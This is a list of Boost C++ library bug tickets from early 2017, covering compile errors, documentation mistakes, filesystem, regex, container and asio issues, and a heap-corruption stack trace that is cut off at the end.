Which looks like a genuine issue to me.

#12911: Allow u32regex_match to accept boost::string_view

dani.user@… — Fri, 17 Mar 2017 19:54:22 GMT

Boost provides a lot of boost::u32regex_match overloads for various string types in regex/icu.hpp.

It would be nice to also be able to pass a boost::string_view. Passing a char pointer from the string_view incurs the overhead of calling strlen() which doesn't work on strings that are not null terminated.

#12906: Add support for string_view

Andrey Semashev — Wed, 15 Mar 2017 14:00:38 GMT

Please, add native support for attributes of type boost::string_view (and possibly std::string_view) to Boost.Spirit.Qi. I think, the best way to do this is to add a new directive, as_string_view (and as_wstring_view) which could be used similarly to as_string (as_wstring) but produce a boost::string_view (boost::wstring_view) value instead of std::string (std::wstring). Obviously, the directive would only be usable if the character iterator type is a pointer, but that is likely the most typical case anyway.

#12904: canonical fails for relative symbolic link on NTFS

Matthias@… — Tue, 14 Mar 2017 16:24:57 GMT

I've an path inside a directory which is a symbolic link at an NTFS partition. The link points to a another directory in the same base directory.

boost throws

BOOST_ASSERT_MSG(result.is_absolute(), "canonical() implementation error; please report");

in operations.cpp, line 881

Here are more details: I call boost::filesystem::canonical}} with following ({{{const wchar_t*) parameter:

L"C:\\Projekte\\50_Workspace\\out\\x64\\.\\audio\\Test.dll"

The current working directory is

L"C:\\Projekte\\50_Workspace\\out\\x64"

which is a symlink to "x64.Debug"}} in the same base directory (in {{{"C:\\Projekte\\50_Workspace\\out").

Boost detects that the "x64" is a relative symbolic link and enters the "else" in line 868. But the created new_source looks strange:

"x64.Debug/Projekte\\50_Workspace\\out\\x64\\.\\audio\\Test.dll"

In my opinion it should create either

"C:\\Project\\50_Workspace\\out\\x64.Debug\\.\\audio\\Test.dll"

"C:/Project/50_Workspace/out/x64.Debug/./audio/Test.dll"

for the next loop...

#12903: division by 0

anonymous — Tue, 14 Mar 2017 03:23:08 GMT

Input for Voronoi:

points.push_back(point(1, 1)); points.push_back(point(3, 1)); points.push_back(point(1, 3)); points.push_back(point(3, 3)); points.push_back(point(-1, 1)); points.push_back(point(1, -1)); points.push_back(point(5, 1)); points.push_back(point(3, -1)); points.push_back(point(-1, 3)); points.push_back(point(1, 5)); points.push_back(point(5, 3)); points.push_back(point(3, 5)); VD vd; construct_voronoi(points.begin(), points.end(), &vd);

I get a division by 0. Is this normal? What are the restrictions on the points?

#12902: boost test labels

dimitry — Mon, 13 Mar 2017 18:20:16 GMT

there is a tutorial about new boost test feature - the labels. but it is not clear how to run all tests in testsuite except those that are with a specific label. could you help, please?

#12900: Can't compile Boost.Typeof with MSVC and flag /permissive-

arkadiy_s@… — Mon, 13 Mar 2017 13:28:22 GMT

Can't compile Boost.Typeof with VC++ 2015/2017 and compiler flag "/permissive-"

#12899: ERROR: Error LNK1104 cannot open file 'libboost_date_time-vc140-mt-gd-1_63.lib'

Kurt VanderKoi — Sat, 11 Mar 2017 17:00:43 GMT

Platform: Windows 10

Application Software: C++ Visual Studio 2017 Community RC and “boost_1_63_0”

I attempted to build using “bootstrap” -

### ### Using 'msvc' toolset. ###

C:\Boost\boost_1_63_0\tools\build\src\engine>if exist bootstrap rd /S /Q bootstrap

C:\Boost\boost_1_63_0\tools\build\src\engine>md bootstrap

C:\Boost\boost_1_63_0\tools\build\src\engine>cl /nologo /GZ /Zi /MLd /Fobootstrap/ /Fdbootstrap/ -DNT -DYYDEBUG kernel32.lib advapi32.lib user32.lib /Febootstrap\jam0 command.c compile.c constants.c debug.c execcmd.c execnt.c filent.c frames.c function.c glob.c hash.c hdrmacro.c headers.c jam.c jambase.c jamgram.c lists.c make.c make1.c object.c option.c output.c parse.c pathnt.c pathsys.c regexp.c rules.c scan.c search.c subst.c timestamp.c variable.c modules.c strings.c filesys.c builtins.c md5.c class.c cwd.c w32_getreg.c native.c modules/set.c modules/path.c modules/regex.c modules/property-set.c modules/sequence.c modules/order.c

C:\Boost\boost_1_63_0\tools\build\src\engine>exit /b 9009

#12896: [Utility] string_view's comparison operators are not marked "constexpr"

Zheng Luo — Sat, 11 Mar 2017 05:15:48 GMT

During the implementation of my GSoC static_map competency project, I found that in Boost 1.63, string_view's comparison operator was not marked as constexpr(http://www.boost.org/doc/libs/1_63_0/boost/utility/string_view.hpp). According to cppreference, string_view in C++17's standard library includes constexpr comparison operators, and actually the implementation of Boost's comparison operators calls constexpr compare() method. However, constexpr compare() in Boost never works in C++14, since it uses std::char_traits in standard library, of which char_traits::compare is not marked constexpr until C++17. It seems possible to backport C++17's constexpr char_traits into Boost's library.

#12895: VS 2012: zip_iterator dereference causes a compiler error

daniel.kruegler@… — Fri, 10 Mar 2017 21:26:44 GMT

Using Visual Studio 2012 (vc110), any direct or indirect usage of the dereference operation of zip_iterator produces now a compiler error, a simple reproducer is the following example:

#include "boost/iterator/zip_iterator.hpp"
int main()
{
    typedef boost::tuple<char*, char*> iterators_t;
    char chars[] = "abc";
    iterators_t iters(chars + 0, chars + 3);
    boost::iterators::zip_iterator<iterators_t> zip(iters);
    *zip;
}

which results in the following compiler output:

1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(364): error C2825: '_Iter': must be a class or namespace when followed by '::'
1>          c:\projects\thirdparty\boost_1_63_0\boost\iterator\iterator_traits.hpp(28) : see reference to class template instantiation 'std::iterator_traits<_Iter>' being compiled
1>          with
1>          [
1>              _Iter=char *const
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\iterator\zip_iterator.hpp(90) : see reference to class template instantiation 'boost::iterators::iterator_reference<Iterator>' being compiled
1>          with
1>          [
1>              Iterator=char *const
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\utility\result_of.hpp(190) : see reference to class template instantiation 'boost::iterators::detail::dereference_iterator::result<<unnamed-symbol>>' being compiled
1>          with
1>          [
1>              <unnamed-symbol>=boost::iterators::detail::dereference_iterator (char *const &)
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\utility\result_of.hpp(197) : see reference to class template instantiation 'boost::detail::result_of_nested_result<F,FArgs>' being compiled
1>          with
1>          [
1>              F=boost::iterators::detail::dereference_iterator,
1>              FArgs=boost::iterators::detail::dereference_iterator (char *const &)
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\utility\detail\result_of_iterate.hpp(37) : see reference to class template instantiation 'boost::detail::tr1_result_of_impl<F,FArgs,HasResultType>' being compiled
1>          with
1>          [
1>              F=boost::iterators::detail::dereference_iterator,
1>              FArgs=boost::iterators::detail::dereference_iterator (char *const &),
1>              HasResultType=false
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\utility\detail\result_of_iterate.hpp(160) : see reference to class template instantiation 'boost::tr1_result_of<F>' being compiled
1>          with
1>          [
1>              F=boost::iterators::detail::dereference_iterator (char *const &)
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\fusion\view\transform_view\detail\apply_transform_result.hpp(31) : see reference to class template instantiation 'boost::result_of<F>' being compiled
1>          with
1>          [
1>              F=boost::iterators::detail::dereference_iterator (char *const &)
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\mpl\aux_\preprocessed\plain\apply_wrap.hpp(39) : see reference to class template instantiation 'boost::fusion::detail::apply_transform_result<F>::apply<T0>' being compiled
1>          with
1>          [
1>              F=boost::iterators::detail::dereference_iterator,
1>              T0=char *const &
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\mpl\aux_\preprocessed\plain\apply.hpp(43) : see reference to class template instantiation 'boost::mpl::apply_wrap1<F,T1>' being compiled
1>          with
1>          [
1>              F=boost::fusion::detail::apply_transform_result<boost::iterators::detail::dereference_iterator>,
1>              T1=char *const &
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\mpl\aux_\preprocessed\plain\apply.hpp(51) : see reference to class template instantiation 'boost::mpl::apply1<F,T1>' being compiled
1>          with
1>          [
1>              F=boost::fusion::detail::apply_transform_result<boost::iterators::detail::dereference_iterator>,
1>              T1=char *const &
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\fusion\view\transform_view\detail\deref_impl.hpp(38) : see reference to class template instantiation 'boost::mpl::apply<F,T1>' being compiled
1>          with
1>          [
1>              F=boost::fusion::detail::apply_transform_result<boost::iterators::detail::dereference_iterator>,
1>              T1=char *const &
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\fusion\iterator\deref.hpp(54) : see reference to class template instantiation 'boost::fusion::extension::deref_impl<boost::fusion::transform_view_iterator_tag>::apply<Iterator>' being compiled
1>          with
1>          [
1>              Iterator=boost::fusion::transform_view_iterator<boost::fusion::boost_tuple_iterator<const iterators_t>,boost::iterators::detail::dereference_iterator>
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\fusion\adapted\boost_tuple\detail\build_cons.hpp(53) : see reference to class template instantiation 'boost::fusion::result_of::deref<Iterator>' being compiled
1>          with
1>          [
1>              Iterator=boost::fusion::transform_view_iterator<boost::fusion::boost_tuple_iterator<const iterators_t>,boost::iterators::detail::dereference_iterator>
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\fusion\adapted\boost_tuple\detail\build_cons.hpp(52) : while compiling class template member function 'boost::tuples::cons<HT,TT> boost::fusion::detail::build_tuple_cons<First,Last>::call(const First &,const Last &)'
1>          with
1>          [
1>              HT=char &,
1>              TT=boost::tuples::cons<char &,boost::fusion::detail::build_tuple_cons<boost::fusion::single_view_iterator<const boost::fusion::single_view<char &>,boost::mpl::int_<1>>,boost::fusion::single_view_iterator<const boost::fusion::single_view<char &>,boost::mpl::int_<1>>>::type>,
1>              First=boost::fusion::transform_view_iterator<boost::fusion::boost_tuple_iterator<const iterators_t>,boost::iterators::detail::dereference_iterator>,
1>              Last=boost::fusion::transform_view_iterator<boost::fusion::boost_tuple_iterator<const boost::tuples::null_type>,boost::iterators::detail::dereference_iterator>
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\fusion\adapted\boost_tuple\detail\convert_impl.hpp(43) : see reference to function template instantiation 'boost::tuples::cons<HT,TT> boost::fusion::detail::build_tuple_cons<First,Last>::call(const First &,const Last &)' being compiled
1>          with
1>          [
1>              HT=char &,
1>              TT=boost::tuples::cons<char &,boost::fusion::detail::build_tuple_cons<boost::fusion::single_view_iterator<const boost::fusion::single_view<char &>,boost::mpl::int_<1>>,boost::fusion::single_view_iterator<const boost::fusion::single_view<char &>,boost::mpl::int_<1>>>::type>,
1>              First=boost::fusion::transform_view_iterator<boost::fusion::boost_tuple_iterator<const iterators_t>,boost::iterators::detail::dereference_iterator>,
1>              Last=boost::fusion::transform_view_iterator<boost::fusion::boost_tuple_iterator<const boost::tuples::null_type>,boost::iterators::detail::dereference_iterator>
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\fusion\adapted\boost_tuple\detail\convert_impl.hpp(37) : see reference to class template instantiation 'boost::fusion::detail::build_tuple_cons<First,Last>' being compiled
1>          with
1>          [
1>              First=boost::fusion::transform_view_iterator<boost::fusion::boost_tuple_iterator<const iterators_t>,boost::iterators::detail::dereference_iterator>,
1>              Last=boost::fusion::transform_view_iterator<boost::fusion::boost_tuple_iterator<const boost::tuples::null_type>,boost::iterators::detail::dereference_iterator>
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\fusion\sequence\convert.hpp(37) : see reference to class template instantiation 'boost::fusion::extension::convert_impl<boost::fusion::boost_tuple_tag>::apply<Sequence>' being compiled
1>          with
1>          [
1>              Sequence=const boost::fusion::transform_view<const iterators_t,boost::iterators::detail::dereference_iterator>
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\iterator\zip_iterator.hpp(214) : see reference to class template instantiation 'boost::fusion::result_of::convert<Tag,Sequence>' being compiled
1>          with
1>          [
1>              Tag=tag,
1>              Sequence=const boost::fusion::transform_view<const iterators_t,boost::iterators::detail::dereference_iterator>
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\iterator\zip_iterator.hpp(289) : see reference to function template instantiation 'reference boost::iterators::detail::converter<reference>::call<boost::fusion::transform_view<Sequence1,Sequence2>>(Seq)' being compiled
1>          with
1>          [
1>              reference=reference,
1>              Sequence1=const iterators_t,
1>              Sequence2=boost::iterators::detail::dereference_iterator,
1>              Seq=boost::fusion::transform_view<const iterators_t,boost::iterators::detail::dereference_iterator>
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\iterator\zip_iterator.hpp(289) : see reference to function template instantiation 'reference boost::iterators::detail::converter<reference>::call<boost::fusion::transform_view<Sequence1,Sequence2>>(Seq)' being compiled
1>          with
1>          [
1>              reference=reference,
1>              Sequence1=const iterators_t,
1>              Sequence2=boost::iterators::detail::dereference_iterator,
1>              Seq=boost::fusion::transform_view<const iterators_t,boost::iterators::detail::dereference_iterator>
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\iterator\zip_iterator.hpp(284) : while compiling class template member function 'boost::tuples::cons<HT,TT> boost::iterators::zip_iterator<IteratorTuple>::dereference(void) const'
1>          with
1>          [
1>              HT=char &,
1>              TT=boost::tuples::cons<char &,boost::fusion::detail::build_tuple_cons<boost::fusion::single_view_iterator<const boost::fusion::single_view<char &>,boost::mpl::int_<1>>,boost::fusion::single_view_iterator<const boost::fusion::single_view<char &>,boost::mpl::int_<1>>>::type>,
1>              IteratorTuple=iterators_t
1>          ]
1>          c:\projects\thirdparty\boost_1_63_0\boost\iterator\iterator_facade.hpp(549) : see reference to function template instantiation 'boost::tuples::cons<HT,TT> boost::iterators::zip_iterator<IteratorTuple>::dereference(void) const' being compiled
1>          with
1>          [
1>              HT=char &,
1>              TT=boost::tuples::cons<char &,boost::fusion::detail::build_tuple_cons<boost::fusion::single_view_iterator<const boost::fusion::single_view<char &>,boost::mpl::int_<1>>,boost::fusion::single_view_iterator<const boost::fusion::single_view<char &>,boost::mpl::int_<1>>>::type>,
1>              IteratorTuple=iterators_t
1>          ]
1>          h:\develop\cpp\c++0x\vssandbox - 2011\main.cpp(8) : see reference to class template instantiation 'boost::iterators::zip_iterator<IteratorTuple>' being compiled
1>          with
1>          [
1>              IteratorTuple=iterators_t
1>          ]
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(364): error C2039: 'iterator_category' : is not a member of '`global namespace''
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(364): error C2146: syntax error : missing ';' before identifier 'iterator_category'
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(364): error C2602: 'std::iterator_traits<_Iter>::iterator_category' is not a member of a base class of 'std::iterator_traits<_Iter>'
1>          with
1>          [
1>              _Iter=char *const
1>          ]
1>          c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(364) : see declaration of 'std::iterator_traits<_Iter>::iterator_category'
1>          with
1>          [
1>              _Iter=char *const
1>          ]
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(364): error C2868: 'std::iterator_traits<_Iter>::iterator_category' : illegal syntax for using-declaration; expected qualified-name
1>          with
1>          [
1>              _Iter=char *const
1>          ]
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(365): error C2825: '_Iter': must be a class or namespace when followed by '::'
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(365): error C2039: 'value_type' : is not a member of '`global namespace''
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(365): error C2146: syntax error : missing ';' before identifier 'value_type'
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(365): error C2602: 'std::iterator_traits<_Iter>::value_type' is not a member of a base class of 'std::iterator_traits<_Iter>'
1>          with
1>          [
1>              _Iter=char *const
1>          ]
1>          c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(365) : see declaration of 'std::iterator_traits<_Iter>::value_type'
1>          with
1>          [
1>              _Iter=char *const
1>          ]
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(365): error C2868: 'std::iterator_traits<_Iter>::value_type' : illegal syntax for using-declaration; expected qualified-name
1>          with
1>          [
1>              _Iter=char *const
1>          ]
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(366): error C2825: '_Iter': must be a class or namespace when followed by '::'
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(366): error C2039: 'difference_type' : is not a member of '`global namespace''
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(366): error C2146: syntax error : missing ';' before identifier 'difference_type'
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(366): error C2602: 'std::iterator_traits<_Iter>::difference_type' is not a member of a base class of 'std::iterator_traits<_Iter>'
1>          with
1>          [
1>              _Iter=char *const
1>          ]
1>          c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(366) : see declaration of 'std::iterator_traits<_Iter>::difference_type'
1>          with
1>          [
1>              _Iter=char *const
1>          ]
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(366): error C2868: 'std::iterator_traits<_Iter>::difference_type' : illegal syntax for using-declaration; expected qualified-name
1>          with
1>          [
1>              _Iter=char *const
1>          ]
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(368): error C2825: '_Iter': must be a class or namespace when followed by '::'
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(368): error C2039: 'pointer' : is not a member of '`global namespace''
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(368): error C2146: syntax error : missing ';' before identifier 'pointer'
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(368): error C2602: 'std::iterator_traits<_Iter>::pointer' is not a member of a base class of 'std::iterator_traits<_Iter>'
1>          with
1>          [
1>              _Iter=char *const
1>          ]
1>          c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(368) : see declaration of 'std::iterator_traits<_Iter>::pointer'
1>          with
1>          [
1>              _Iter=char *const
1>          ]
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(368): error C2868: 'std::iterator_traits<_Iter>::pointer' : illegal syntax for using-declaration; expected qualified-name
1>          with
1>          [
1>              _Iter=char *const
1>          ]
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(369): error C2825: '_Iter': must be a class or namespace when followed by '::'
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(369): error C2039: 'reference' : is not a member of '`global namespace''
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(369): error C2146: syntax error : missing ';' before identifier 'reference'
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(369): error C2602: 'std::iterator_traits<_Iter>::reference' is not a member of a base class of 'std::iterator_traits<_Iter>'
1>          with
1>          [
1>              _Iter=char *const
1>          ]
1>          c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(369) : see declaration of 'std::iterator_traits<_Iter>::reference'
1>          with
1>          [
1>              _Iter=char *const
1>          ]
1>c:\program files (x86)\microsoft visual studio 11.0\vc\include\xutility(369): error C2868: 'std::iterator_traits<_Iter>::reference' : illegal syntax for using-declaration; expected qualified-name
1>          with
1>          [
1>              _Iter=char *const
1>          ]
1>c:\projects\thirdparty\boost_1_63_0\boost\fusion\adapted\boost_tuple\detail\build_cons.hpp(53): error C2440: 'initializing' : cannot convert from 'char *const ' to 'char &'
========== Rebuild All: 0 succeeded, 1 failed, 0 skipped ==========

The problem seems rather severe to me and may occur even though the user-code didn't actually use zip_iterator directly. In fact I became aware of the problem when a colleague asked me why the following code would no longer be accepted when we switched from Boost 1.57 to Boost 1.63:

#include "boost/range/combine.hpp"
int main()
{
    int a[] = { 1, 2, 3 };
    int b[] = { 4, 5, 6 };
    for(const auto& p : boost::combine(a, b))
    {
    }
}

According to my not fully completed analysis, the problem is caused, because the current implementation of zip_iterator::dereference relies on a recently introduced feature of std::iterator_traits being now sfinae-friendly (See LWG issue 2408), which is not the case in the VS 2012 Standard Library. This assumption gets support by the fact that both VS 2015 and VS 2017 accept the code (And both compiler's Standard Libraries provide sfinae-friendly iterator_traits).

#12893: Add debug check for boost::container::string::c_str method

Fri, 10 Mar 2017 13:19:51 GMT

If boost::container::string was destroyed then result of c_str method must be invalidated. It will help to catch errors in a application.

Notes:

std::string on MS Visual Studio 2015 is already does this check.
some patterns are here http://stackoverflow.com/a/127404

Example:

#include <cassert>
#include <string>
#include <boost/container/string.hpp>
bool isAbcd(const char* ch)
{
  if (
    ch[0] == 'a' &&
    ch[1] == 'b' &&
    ch[2] == 'c' &&
    ch[3] == 'd' &&
    ch[4] == '\0'
  ) {
    return true;
  }
  return false;
}
void exampleNewDelete()
{
  char* ch = new char[5];
  ch[0] = 'a';
  ch[1] = 'b';
  ch[2] = 'c';
  ch[3] = 'd';
  ch[4] = '\0';
  assert(isAbcd(ch));
  delete[] ch;
  const bool ok = isAbcd(ch); // if app crash then test OK
  if ( ok ) {
    assert(false); // test failed
  }
  // test OK
}
void exampleStdString()
{
  char* ch;
  ch = (char*)std::string("abcd").c_str();
  const bool ok = isAbcd(ch); // if app crash then test OK
  if ( ok ) {
    assert(false); // test failed
  }
  // test OK
}
void exampleBoostString()
{
  char* ch;
  ch = (char*)boost::container::string("abcd").c_str();
  const bool ok = isAbcd(ch); // if app crash then test OK
  if ( ok ) {
    assert(false); // test failed
  }
  // test OK
}
int main()
{
  //exampleNewDelete();
  //exampleStdString();
  //exampleBoostString();
  return 0;
}

#12892: range/algorithm_ext/insert.hpp won't compile

ondrej.polacek@… — Fri, 10 Mar 2017 08:37:50 GMT

Due to a missing return statement in function Container& insert( Container& on, const Range& from ), line 37.

#12891: boost::signals::scoped_connection is copyable and the documentation says it is not

thomas.sondergaard@… — Thu, 09 Mar 2017 15:14:25 GMT

The documentation for boost::signals:scoped_connection indicates that scoped_connection is noncopyable. This is not the case and it can lead the user into traps such as putting it in a std::vector with emplace_back().

At the very least the documentation should be fixed.

#12890: Misleading documentation for regex_replace

anonymous — Thu, 09 Mar 2017 14:44:06 GMT

The documentation for regex_replace describes what the function does, but the description is incorrect.

http://www.boost.org/doc/libs/1_63_0/libs/regex/doc/html/boost_regex/ref/regex_replace.html

On this line:

calls

std::copy(m.prefix().first, m.prefix().last, out),

the ".last" should be ".second", and "std::copy" is actually "re_detail::copy"

And on this line:

calls

std::copy(last_m.suffix().first, last_m,suffix().last, out)

Same as above, and there is also a typo in "last_m,suffix().last" (comma instead of period).

#12884: to_string()

Mon, 06 Mar 2017 20:16:23 GMT

Hi,

Is to_string() here supposed to match to_string() in boost\exception\to_string.hpp?

class shared_array2 : public boost::iterator_range<T*> {};

typedef shared_array2<unsigned char> shared_data;

to_string(shared_data());

I really didn't expect this to_string() to be found here.. is it a feature or is it a bug?

#12882: Boost.Log fails to build on Solaris 11.3 x86 using Developer Studio 12.5

lcarreon@… — Thu, 02 Mar 2017 06:47:03 GMT

I'm build Boost 1.63.0 on Solaris 11.3 x86 using Developer Studio 12.5.

I use the following command to do the build:

./b2 link=shared runtime-link=shared address-model=64 threading=multi variant=release cxxflags="-std=c++14" linkflags="-std=c++14"

The above build fails in Boost.Log with the error message:

"libs/log/src/named_scope.cpp", line 118: Error: Overloading ambiguity between "boost::optional<boost::log::v2_mt_posix::attributes::named_scope_list>::operator=<boost::log::v2_mt_posix::attributes::named_scope_list&>(boost::log::v2_mt_posix::attributes::named_scope_list&)" and "boost::optional<boost::log::v2_mt_posix::attributes::named_scope_list>::operator=<boost::log::v2_mt_posix::attributes::named_scope_list&>(boost::log::v2_mt_posix::attributes::named_scope_list&)".

I have looked at the file where the error is occurring but due to my unfamiliarity with this area of Boost, I couldn't figure out what the problem is. However, it is possible that the problem could have something to do with Boost.Optional.

Can you let me know what I can do in order for the Boost build to successfully generate the Boost.Log library files.

#12880: Alignment information @ PP time

Domagoj Šarić — Wed, 01 Mar 2017 14:42:25 GMT

Please add a macro that can be used for selective compilation based on the guaranteed alignment of the default allocator, i.e. something like: https://bitbucket.org/eigen/eigen/src/d4e10456d28275c27f417efc119024749c979b7e/Eigen/src/Core/util/Memory.h

#12879: boost::filesystem::rename could result in copy instead of rename (windows)

anonymous — Wed, 01 Mar 2017 12:27:36 GMT

caused by https://svn.boost.org/trac/boost/ticket/6809

from msdn https://msdn.microsoft.com/en-us/library/windows/desktop/aa365240(v=vs.85).aspx If the file is successfully copied to a different volume and the original file is unable to be deleted, the function succeeds leaving the source file intact.

rename should produce error when source file can't be erased.

#12875: ip::tcp::iostream flush() doesn't clear the buffer. Neither does clear();

ericrsoldan@… — Tue, 28 Feb 2017 17:27:02 GMT

Code something like the below shows the issue:

std::string postData = "This is my post data.";

ip::tcp::iostream stream;

stream.expires_from_now(boost::posix_time::seconds(10));

stream.connect("192.168.1.128", "http");

stream << "POST /myRestfulPath HTTP/1.1\r\n";

stream << "Content-Type: application/x-www-form-urlencoded\r\n";

stream << "Host: 192.168.1.128:8080\r\n";

stream << "Content-Length: " << postData.size() << "\r\n";

stream << "Connection: Close\r\n\r\n";

stream.flush();

stream << postData.c_str();

stream.flush();

Using Wireshark, the headers show up with the first flush, but also show up from the second, with the postData appended.

I understand that I do not need the first flush in this example. However, the server requires an "Expect: 100-Continue" so therefore I need to send before the postData, and then receive the "Continue", and then send the postData. (Not shown.)

stream.clear() doesn't clear what flush left behind, either.

#12873: boost.heap calls non-existing constructor of iterator_adaptor

Sun, 26 Feb 2017 20:23:02 GMT

boost.heap tries to call the constructor boost::iterator_adaptor(0), which doesn't exist, in several places. For example in boost/heap/detail/mutable_heap.hpp (lines 225-243):

        typedef boost::iterator_adaptor<ordered_iterator,
                                        const_list_iterator,
                                        value_type const,
                                        boost::forward_traversal_tag
                                      > adaptor_type;
        typedef const_list_iterator iterator;
        typedef typename q_type::ordered_iterator_dispatcher ordered_iterator_dispatcher;
        friend class boost::iterator_core_access;
    public:
        ordered_iterator(void):
            adaptor_type(0), unvisited_nodes(indirect_cmp()), q_(NULL)
        {}
        ordered_iterator(const priority_queue_mutable_wrapper * q, indirect_cmp const & cmp):
            adaptor_type(0), unvisited_nodes(cmp), q_(q)
        {}

This will result in "no matching constructor" compilation errors when trying to construct e.g. an ordered_iterator for a d_ary_heap (see attached program).

The same non-existing call is made on detail/mutable_heap.hpp:193, detail/stable_heap.hpp:534, and detail/tree_iterator.hpp:214,218,231,340

#12872: icl calls set::insert with invalid iterator hint

Sun, 26 Feb 2017 08:18:28 GMT

When using split_interval_set<T> the code in the add_segment function in interval_base_set.hpp tries to get the prior of an iterator that may be the first iterator of the underlying set container. This is then used as an insertion hint which causes a segfault in some standard container libraries (for example, the standard library on macOS).

All other parts of the file use cyclic_prior for this purpose.

#12871: boost::posix_time::operator<< results in heap corruption

nmmreddy11@… — Sun, 26 Feb 2017 05:50:43 GMT

We are using boost 1.59.0 compiled with Visual Studio 2015. Our application is multi-threaded and is running on a multi-processor server. I am troubleshooting a crash issue related to memory corruption for a while now. Finally able to run a debug build under the load and am getting heap corruption errors from boost::posix_time::operator<<.

HEAP[IPCaptureD.exe]: HEAP: Free Heap block 3A821208 modified at 3A821910 after it was freed (3290.33c0): Break instruction exception - code 80000003 (first chance) eax=fffdd000 ebx=3a821208 ecx=3a821208 edx=00000047 esi=3a82120a edi=00d20000 eip=77df7aa6 esp=1e80ebdc ebp=1e80ed30 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdllRtlpBreakPointHeap+0x19: 77df7aa6 cc int 3

STACK_TEXT: 1e80ebd8 77d97167 a2f3581f 00000230 00000224 ntdllRtlpBreakPointHeap+0x19 1e80ed30 77d50ef4 00000224 00000240 00000000 ntdllRtlpAllocateHeap+0x46233 1e80edc4 77df628a 00d20000 50000163 00000224 ntdllRtlAllocateHeap+0x14d 1e80ee24 77d96efb 00000224 a2f35aaf 00000230 ntdllRtlDebugAllocateHeap+0xdf 1e80ef80 77d50ef4 00000224 00000230 00000000 ntdllRtlpAllocateHeap+0x45fc7 1e80f014 6be24158 00d20000 40000060 00000224 ntdllRtlAllocateHeap+0x14d 1e80f074 6be23f66 00000200 00000002 694a2dd0 ucrtbased!_toupper+0x248 1e80f098 6be264fb 00000200 00000002 694a2dd0 ucrtbased!_toupper+0x56 1e80f0b8 694ad658 00000100 00000002 00000002 ucrtbased!_calloc_dbg+0x4b 1e80f0e4 694c0622 1e80f0f0 3469be60 00000005 MSVCP140D!_Getctype+0x28 [f:\dd\vctools\crt\crtw32\stdcpp\_tolower.c @ 140] 1e80f114 694c0d41 1e80f128 1e80f434 1e80f374 MSVCP140D!std::_Locinfo::_Getctype+0x12 [f:\dd\vctools\crt\crtw32\stdhpp\xlocinfo @ 117] 1e80f16c 694bc31e 1e80f2c8 bceb0904 3469be60 MSVCP140D!std::ctype<unsigned short>::_Init+0x21 [f:\dd\vctools\crt\crtw32\stdhpp\xlocale @ 2904] 1e80f18c 694e9ac7 1e80f2c8 00000000 bceb0ac0 MSVCP140D!std::ctype<unsigned short>::ctype<unsigned short>+0x4e [f:\dd\vctools\crt\crtw32\stdhpp\xlocale @ 2882] 1e80f248 694cebf1 1e80f2c8 0000003f 3ac32248 MSVCP140D!std::locale::_Locimp::_Makeushloc+0x77 [f:\dd\vctools\crt\crtw32\stdcpp\wlocale.cpp @ 85] 1e80f2ac 694ce5f5 1e80f2c8 0000003f 3ac32248 MSVCP140D!std::locale::_Locimp::_Makeloc+0x391 [f:\dd\vctools\crt\crtw32\stdcpp\locale.cpp @ 80] 1e80f31c 694bc7f6 3ac32248 00d2eb48 bceb0bc8 MSVCP140D!std::locale::_Locimp::_Locimp_ctor+0x55 [f:\dd\vctools\crt\crtw32\stdcpp\locale.cpp @ 92] 1e80f340 694d166b 00d2eb48 bceb0be0 1e80f388 MSVCP140D!std::locale::_Locimp::_Locimp+0x96 [f:\dd\vctools\crt\crtw32\stdhpp\xlocale @ 219] 1e80f368 0074e38e 00d2eb48 1e80f388 1e80f404 